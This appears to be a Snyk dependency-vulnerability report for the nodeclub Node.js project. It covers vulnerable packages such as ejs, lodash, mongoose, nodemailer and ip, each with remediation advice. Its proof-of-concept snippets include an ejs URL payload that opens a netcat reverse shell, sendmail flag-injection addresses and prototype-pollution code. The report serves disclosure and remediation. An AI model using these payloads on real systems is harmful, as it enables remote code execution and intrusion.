Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: babel-traverse
- Introduced through: loader-builder@2.4.1
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
Overview
Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs when using plugins that rely on the path.evaluate()
or path.evaluateTruthy()
internal Babel methods.
Note:
This is only exploitable if the attacker uses known affected plugins such as @babel/plugin-transform-runtime
, @babel/preset-env
when using its useBuiltIns
option, and any "polyfill provider" plugin that depends on @babel/helper-define-polyfill-provider
. No other plugins under the @babel/
namespace are impacted, but third-party plugins might be.
Users that only compile trusted code are not impacted.
Workaround
Users who are unable to upgrade the library can upgrade the affected plugins instead, to avoid triggering the vulnerable code path in affected @babel/traverse
.
Remediation
There is no fixed version for babel-traverse
.
References
high severity
- Vulnerable module: base64-url
- Introduced through: express-session@1.12.1
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express-session@1.12.1 › uid-safe@2.0.0 › base64-url@1.2.1Remediation: Upgrade to express-session@1.14.0.
Overview
base64-url Base64 encode, decode, escape and unescape for URL applications.
Affected versions of this package are vulnerable to Uninitialized Memory Exposure. An attacker may extract sensitive data from uninitialized memory or may cause a DoS by passing in a large number, in setups where typed user input can be passed (e.g. from JSON).
Details
The Buffer class on Node.js is a mutable array of binary data, and can be initialized with a string, array or number.
const buf1 = new Buffer([1,2,3]);
// creates a buffer containing [01, 02, 03]
const buf2 = new Buffer('test');
// creates a buffer containing ASCII bytes [74, 65, 73, 74]
const buf3 = new Buffer(10);
// creates a buffer of length 10
The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream.
When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed
by using buf.fill(0)
, it may leak sensitive information like keys, source code, and system info.
Remediation
Upgrade base64-url
to version 2.0.0 or higher.
Note This is vulnerable only for Node <=4
References
high severity
- Vulnerable module: ip
- Introduced through: nodemailer@2.3.0
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › nodemailer@2.3.0 › socks@1.1.8 › ip@0.3.3Remediation: Upgrade to nodemailer@2.3.2.
Overview
ip is a Node library.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the isPublic
function, by failing to identify hex-encoded 0x7f.1
as equivalent to the private addess 127.0.0.1
. An attacker can expose sensitive information, interact with internal services, or exploit other vulnerabilities within the network by exploiting this vulnerability.
PoC
var ip = require('ip');
console.log(ip.isPublic("0x7f.1"));
//This returns true. It should be false because 0x7f.1 == 127.0.0.1 == 0177.1
Remediation
Upgrade ip
to version 1.1.9, 2.0.1 or higher.
References
high severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@2.3.0
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › nodemailer@2.3.0Remediation: Upgrade to nodemailer@6.4.16.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Command Injection. Use of crafted recipient email addresses may result in arbitrary command flag injection in sendmail transport for sending mails.
PoC
-bi@example.com (-bi Initialize the alias database.)
-d0.1a@example.com (The option -d0.1 prints the version of sendmail and the options it was compiled with.)
-Dfilename@example.com (Debug output ffile)
Remediation
Upgrade nodemailer
to version 6.4.16 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: lodash@4.16.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › lodash@4.16.2Remediation: Upgrade to lodash@4.17.20.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The function zipObjectDeep
can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.
PoC
const _ = require('lodash');
_.zipObjectDeep(['__proto__.z'],[123]);
console.log(z); // 123
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.20 or higher.
References
high severity
- Vulnerable module: ajv
- Introduced through: loader-builder@2.4.1
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › less@2.7.3 › request@2.81.0 › har-validator@4.2.1 › ajv@4.11.8Remediation: Upgrade to loader-builder@2.7.0.
Overview
ajv is an Another JSON Schema Validator
Affected versions of this package are vulnerable to Prototype Pollution. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade ajv
to version 6.12.3 or higher.
References
high severity
- Vulnerable module: ejs
- Introduced through: ejs-mate@2.3.0
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › ejs-mate@2.3.0 › ejs@1.0.0Remediation: Upgrade to ejs-mate@3.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › ejs-mate@2.3.0 › ejs@1.0.0Remediation: Upgrade to ejs-mate@3.0.0.
Overview
ejs
is a popular JavaScript templating engine.
Affected versions of the package are vulnerable to Remote Code Execution by letting the attacker under certain conditions control the source folder from which the engine renders include files.
You can read more about this vulnerability on the Snyk blog.
There's also a Cross-site Scripting & Denial of Service vulnerabilities caused by the same behaviour.
Details
ejs
provides a few different options for you to render a template, two being very similar: ejs.render()
and ejs.renderFile()
. The only difference being that render
expects a string to be used for the template and renderFile
expects a path to a template file.
Both functions can be invoked in two ways. The first is calling them with template
, data
, and options
:
ejs.render(str, data, options);
ejs.renderFile(filename, data, options, callback)
The second way would be by calling only the template
and data
, while ejs
lets the options
be passed as part of the data
:
ejs.render(str, dataAndOptions);
ejs.renderFile(filename, dataAndOptions, callback)
If used with a variable list supplied by the user (e.g. by reading it from the URI with qs
or equivalent), an attacker can control ejs
options. This includes the root
option, which allows changing the project root for includes with an absolute path.
ejs.renderFile('my-template', {root:'/bad/root/'}, callback);
By passing along the root directive in the line above, any includes would now be pulled from /bad/root
instead of the path intended. This allows the attacker to take control of the root directory for included scripts and divert it to a library under his control, thus leading to remote code execution.
The fix introduced in version 2.5.3
blacklisted root
options from options passed via the data
object.
Disclosure Timeline
- November 27th, 2016 - Reported the issue to package owner.
- November 27th, 2016 - Issue acknowledged by package owner.
- November 28th, 2016 - Issue fixed and version
2.5.3
released.
Remediation
The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard
from the command-line interface.
Otherwise, Upgrade ejs
to version 2.5.3
or higher.
References
high severity
- Vulnerable module: ejs
- Introduced through: ejs-mate@2.3.0
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › ejs-mate@2.3.0 › ejs@1.0.0Remediation: Upgrade to ejs-mate@4.0.0.
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options
parameter of renderFile
, which makes it possible to inject code into outputFunctionName
.
Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.
PoC:
Creation of reverse shell:
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
Remediation
Upgrade ejs
to version 3.1.7 or higher.
References
high severity
- Vulnerable module: mongoose
- Introduced through: mongoose@4.4.9
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › mongoose@4.4.9Remediation: Upgrade to mongoose@5.13.20.
Overview
mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Prototype Pollution in document.js
, via update functions such as findByIdAndUpdate()
. This allows attackers to achieve remote code execution.
Note: Only applications using Express and EJS are vulnerable.
PoC
import { connect, model, Schema } from 'mongoose';
await connect('mongodb://127.0.0.1:27017/exploit');
const Example = model('Example', new Schema({ hello: String }));
const example = await new Example({ hello: 'world!' }).save();
await Example.findByIdAndUpdate(example._id, {
$rename: {
hello: '__proto__.polluted'
}
});
// this is what causes the pollution
await Example.find();
const test = {};
console.log(test.polluted); // world!
console.log(Object.prototype); // [Object: null prototype] { polluted: 'world!' }
process.exit();
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade mongoose
to version 5.13.20, 6.11.3, 7.3.4 or higher.
References
high severity
- Vulnerable module: bl
- Introduced through: request@2.74.0
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › request@2.74.0 › bl@1.1.2Remediation: Upgrade to request@2.76.0.
Overview
bl is a library that allows you to collect buffers and access with a standard readable buffer interface.
Affected versions of this package are vulnerable to Remote Memory Exposure. If user input ends up in consume()
argument and can become negative, BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular .slice()
calls.
PoC by chalker
const { BufferList } = require('bl')
const secret = require('crypto').randomBytes(256)
for (let i = 0; i < 1e6; i++) {
const clone = Buffer.from(secret)
const bl = new BufferList()
bl.append(Buffer.from('a'))
bl.consume(-1024)
const buf = bl.slice(1)
if (buf.indexOf(clone) !== -1) {
console.error(`Match (at ${i})`, buf)
}
}
Remediation
Upgrade bl
to version 2.2.1, 3.0.1, 4.0.3, 1.2.3 or higher.
References
high severity
- Vulnerable module: ansi-regex
- Introduced through: pm2@1.1.1, request@2.74.0 and others
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › chalk@1.1.1 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to pm2@2.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › chalk@1.1.1 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to pm2@2.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › request@2.74.0 › har-validator@2.0.6 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › request@2.74.0 › har-validator@2.0.6 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › jpush-sdk@3.3.2 › request@2.79.0 › har-validator@2.0.6 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › jpush-sdk@3.3.2 › request@2.79.0 › har-validator@2.0.6 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
